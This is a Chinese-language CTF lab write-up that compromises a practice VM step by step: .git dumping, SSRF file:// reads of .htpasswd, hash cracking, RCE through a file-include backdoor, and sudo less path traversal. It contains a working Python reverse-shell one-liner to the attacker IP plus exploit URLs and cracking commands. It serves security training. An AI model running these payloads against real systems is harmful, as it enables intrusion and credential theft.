从信息收集到权限提升的完整攻击链解析。完整攻击链:信息收集 → .git泄露 → 源码审计 → MD5爆破Token → 注册登录→ SSRF读取.htpasswd → 破解Basic Auth → 文件包含+RCE→ 数据库查询 → 密码破解 → 用户切换(flag2) → sudo提权(flag3)
靶机 IP: 172.16.11.153 | 攻击机: 172.16.11.146 (Kali Linux)
难度等级: 中
一 信息收集
这里些微偷懒,我直接看的靶机 MAC 地址(BC:24:11:5E:C4:62),在 Nmap 主机发现结果中定位到目标 IP。
nmap -sn 172.16.11.0/24
关键发现: 目标主机 IP 为 172.16.11.153,主机名 final-test-a.lan。

使用 Nmap 对目标进行全端口扫描:
nmap -sT -sV -p- 172.16.11.153
扫描结果分析:
访问 Web 服务,发现是内部运维管理平台的登录页面,包含登录和注册功能。我首先怀疑能否二阶注入,经测试并不能。
使用 dirsearch 进行目录扫描,发现大量敏感信息:dirsearch -u http://172.16.11.153 -e php,txt,bak,swp,old,phps,json
关键发现:
二 Git 信息泄露与源码审计
发现.git目录可访问后,使用git-dumper工具将整个仓库拉取到本地:
git-dumper http://172.16.11.153/.git/ /tmp/git-dump
成功恢复了 8 个文件,包含完整的应用程序源代码。
这里直接把api的源码也拿到了
先看获取到数据库凭据 root:R#xK9mWz$2pLnQ7v,后续横向移动可用。


获取到 APP_KEY,可能用于加密配置文件的解密。
APP_KEY=base64:Tz8VwXqL5mN3jR7kBfD2hY9pCsA6eW1gUoI4nMxZaKc=
DB_PASSWORD=R#xK9mWz$2pLnQ7v
源码揭示了一个非标准的密码验证机制:
$input_hash = md5($password . $user['password_changed_at']);
if ($input_hash === $user['password']) {
// 登录成功
}
密码存储方式为 md5(明文密码 + 时间戳),这为后续破解数据库中的密码哈希提供了关键线索。
紧接着就是整个渗透测试最关键的发现。admin_panel 文件(注意:无 .php 扩展名)包含直接的命令执行功能:

$auth_hash = '9f9d51bc70ef21ca5c14f307980a29d8';
if (md5($input_token) === $auth_hash) {
$authenticated = true;
if (isset($_GET['exec'])) {
$output = shell_exec($_GET['exec']);
}
}
攻击条件:
- 需要提供一个 3 位字符的 token,其 MD5 值等于 9f9d51bc70ef21ca5c14f307980a29d8
- 由于文件无 .php 扩展名,Apache 不会将其当作 PHP 执行,需要通过 loader.php 的文件包含功能来触发
- loader.php 受 HTTP Basic Auth 保护,需要获取认证凭据
URL 检测工具使用 curl 发起请求,支持 file:// 协议,存在 SSRF 漏洞:
该功能支持 file:// 协议读取本地文件,且从服务器内部发起请求时可能绕过 Basic Auth。

$filepath = $allowed_dir . '/' . $module;
if (file_exists($filepath)) {
include($filepath);
}
loader.php 将用户指定的模块文件通过 include() 加载执行,可以让无扩展名的 admin_panel 被当作 PHP 代码执行。
三 漏洞利用 — 获取 Flag1
通过源码审计,形成了清晰的攻击链:Token 爆破 → 注册登录 → SSRF 读取 .htpasswd
Token 只有 3 位字符,爆破空间极小。使用工具就能简单破解
由于 url_check.php 需要 PHP Session 登录才能使用,先注册一个账号:
在登录页面点击"注册新账户",注册 jhin账号,然后登录进入控制台。

登录后进入"URL 可用性检测"功能,利用 file:// 协议读取 Apache 的 .htaccess 配置:
输入:file:///var/www/html/api/.htaccess

发现密码文件路径为 /var/www/html/api/.htpasswd。
继续使用 SSRF 读取密码文件:
输入:file:///var/www/html/api/.htpasswd
获取到 Basic Auth 的用户名 zhangwei 和 APR1 格式的密码哈希。
使用 John the Ripper 配合rockyou进行破解:john /tmp/htpasswd_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
破解结果: trustno1
现在拥有了所有需要的凭据,构造完整的攻击请求:
成功获得 RCE!也可以在浏览器中直接访问,输入 Basic Auth 凭据后即可在页面上执行命令。
cat /var/www/flag1.txt
四 获取 Flag2
为了更方便地操作,先建立反弹 Shell:
http://172.16.11.153/api/loader.php?module=admin_panel&token=bob&exec=python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("172.16.11.146",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
成功获得交互式 Shell。
利用之前获取的数据库凭据查询用户表:mysql -u root -p'R#xK9mWz$2pLnQ7v' abyss_platform -e "SELECT * FROM users;"
查询结果:

回顾 index.php 中的密码验证逻辑:$input_hash = md5($password . $user['password_changed_at']);
密码哈希 = md5(明文密码 + password_changed_at 时间戳)
因此,破解 admin 密码需要编写定制脚本:

import hashlib
target = 'd450a27a0caf3b9dcc7f03e4c492f7ac'
ts = '1742900000'
with open('/usr/share/wordlists/rockyou.txt', 'r', errors='ignore') as f:
for line in f:
pwd = line.strip()
if hashlib.md5((pwd + ts).encode()).hexdigest() == target:
print(f' {pwd}')
break
破解出 admin 密码后,利用密码重用的常见安全问题,尝试 su 切换到系统用户获取
cat ~/flag2.txt
五 权限提升 — 获取 Flag3
检查 sudo 权限
sudo -l
发现:
用户 liwei 可以以 root 权限运行 less 查看 /var/log/abyss/ 目录下的文件,且不需要密码。
通配符路径穿越

sudo 规则中的通配符 * 可以匹配任意字符,包括 ../,这可以通过路径穿越读取系统任意文件:
sudo /usr/bin/less /var/log/abyss/../../../flag3.txt
路径解析过程其实是:
/var/log/abyss/../../../flag3.txt
= /var/log/../../flag3.txt
= /var/../flag3.txt
= /flag3.txt
获取 Flag3
至此三个flag全部收集
本文仅用于授权渗透测试学习,请遵守相关法律法规,未经授权不得对任何系统进行渗透测试。













Comments NOTHING